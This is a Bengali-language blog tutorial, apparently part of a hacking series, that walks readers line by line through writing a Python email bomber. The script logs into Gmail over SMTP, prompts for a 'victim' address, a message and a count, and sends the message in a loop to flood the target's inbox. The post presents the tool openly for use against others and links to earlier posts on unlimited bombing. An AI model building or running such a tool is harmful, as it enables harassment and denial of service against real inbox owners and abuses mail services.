[ROC-X:05] ইমেইল বোম্বাই কীভাবে কাজ করে? এখন থেকে নিজেই ইমেইল বোম্বার বানাতে পারবেন। [Python Code]

হ্যালো , আসসালামুআলাইকুম বন্ধুরা সবাই কেমন আছেন? আশা করি অনেক ভাল আছেন। আমি সানাউর আসিফ, তো চলুন শুরু করা যাক আজকের টপিক।

Topic : Script Of Python Email Bomber

কিভাবে ইমেইল বোম্বিং করতে হয় তা আমি আগের পোস্ট এ দেখিয়েছিলাম। যারা দেখেননি দেখে আসতে পারেন।

[ROC-X:03] ইমেইল বোম্বিং করুন আনলিমিটেড। নো ক্রাশ, নো টাইম আউট [All Fixed]

তো আজকে আমরা এই টুলস এর মেইন Python কোড দেখবো। আর কিভাবে এই কোড কাজ করে সেটা শিখব।

তো যারা এন্ড্রয়েড থেকে করতে চান তারা নিচের পোস্ট দেখে আসতে পারেন।

[ROC-X:04] এখন থেকে অ্যান্ড্রয়েড ফোন দিয়েই পাইথন প্রোগ্রামিং করূন। [PyDroid3+Tricks]

এখন মেইন টপিক এ আসা যাক।

তো প্রথমে আমাদের SmtpLib মডিউল ইমপোর্ট করতে হবে।
আমারা ইন্টারনেট এ ওয়েব সাইট এর জন্য যেমন HTTP/HTTPS ব্যবহার করি তেমনি মেইল আদান প্রদান করার প্রটোকল হলো SMTP। আর Python এ এটা নিয়ে কাজ করতে হলে প্রথমে SMTPLib ইমপোর্ট করতে হবে।

আর এজন্য প্রথমে লিখতে হবে

import smtplib

তো SMTPLIB এ সকল মেইল এর কাজ করা যায়। কিন্তু আমাদের কাজ হলো gmail এ।

তাই আমাদের Gmail এর সার্ভার এর সাথে কানেক্ট করতে হবে।

এর জন্য Gmail এর smtplib host এবং পোর্ট লাগবে।

এই দুইটা Google এ সার্চ করে দেখতে পারেন।

Gmail এর smtplib host হলো smtp.gmail.com আর পোর্ট হলো 587

তাই আমাদের লিখতে হবে

rocx=smtplib.SMTP(‘smtp.gmail.com’,’587′)

এবার সার্ভার এর সাথে কানেকশন অন করার জন্য লিখতে হবে

rocx.ehlo()
rocx.starttls()

এবার সার্ভার এর সাথে কানেকশন অন হয়ে গেল।

এখন আমাদেরকে আমাদের Gmail এ লগইন করতে হবে।

আর এজন্য আমাদের Gmail address এবং Password ইনপুট নেওয়া লাগবে।

তাই লিখতে হবে

email=str(input(“Enter Your Email : “))

pwd=str(input(“Enter Your Password : “))

এবার এই দুইটা ইনপুট নিয়ে লগিন করতে হবে।

তাই লিখতে হবে।

rocx.login(email,pwd)

আমাদের Gmail একাউন্ট এ লগইন করা হয়ে গেল।

এবার আমাদের কাজ টার্গেট Mail Address এ মেইল সেন্ড করা।

আর এজন্য আমাদের ৩ টা ইনপুট নেওয়া লাগবে।
1. FROM EMAIL ADDRESS
2. TO EMAIL ADDRESS
3. MESSAGE

এখানে FROM EMAIL ADDRESS অলরেডি পেয়ে গিয়েছি। তাই আমাদের বাকি দুটি ইনপুট নেওয়া লাগবে।

তাই লিখতে হবে

tmail=str(input(“Enter The Mail Address of Victim : “))
msg=str(input(“Enter The Message : “))

এখন কাজ হলো মেইল বোম্বিং এর সংখ্যা ইনপুট নেওয়া এবং ঐ কয়টা মেইল সেন্ড করা।

তাই বোম্বিং এর সংখ্যা ইনপুট নেওয়ার জন্য লিখতে হবে

amount=int(input(“Enter The Amount : “))

এখন ইনপুট করা সংখ্যা যত হবে ততবার মেইল সেন্ড করতে হবে।

তাই আমাদের for loop ব্যবহার করতে হবে।

আর তাই লিখতে হবে :

for i in range(amount):

এটা লিখার পর আমাদের মেইল সেন্ড করতে হবে।

আর যেহেতু এটা for loop এর সাহায্যে বারবার কাজ করবে, তাই একটা Tab Space দিয়ে লিখতে হবে

rocx.sendmail(email,tmail,msg)

আর এবার প্রত্যেকটি মেইল সেন্ড হওয়ার পর Sent লিখা দেখানোর জন্য Tab Space দিয়ে লিখতে হবে

print(str(i+1)+” mail sent”)

ব্যাস, আমাদের কাজ শেষ।

তো এবার পুরো কোডটি রান করে দেখা যাক।

এখানে আপনার মেইল এড্রেস দিয়ে দিন।

তারপর আপনার পাসওয়ার্ড দিন।

এবার ভিক্টিম এর মেইল এড্রেস দিয়ে দিন।

তারপর মেসেজ লিখুন।

এবার মেইল বোম্বিং সংখ্যা ইনপুট দিন।

এবার মেইল সেন্ড হওয়া পর্যন্ত অপেক্ষা করুন

এবার মেইল এ গিয়ে চেক করে নিই।

তো, আমাদের মেইল বোম্বার তৈরি হয়ে গেল।

যারা এখনো ভালোভাবে বুঝতে পারছেন না, তারা চাইলে ভিডিও টিউটোরিয়াল দেখতে পারেন।

তো , আজকে এই পর্যন্তই ছিল।

Me On Facebook

পোস্টটি কেমন লাগলো অবশ্যই কমেন্টে জানাবেন এবং কোন সমস্যা হলে সেটাও কমেন্টে জানাবেন । ধন্যবাদ সবাইকে। আল্লাহ হাফেজ।

Leave a Reply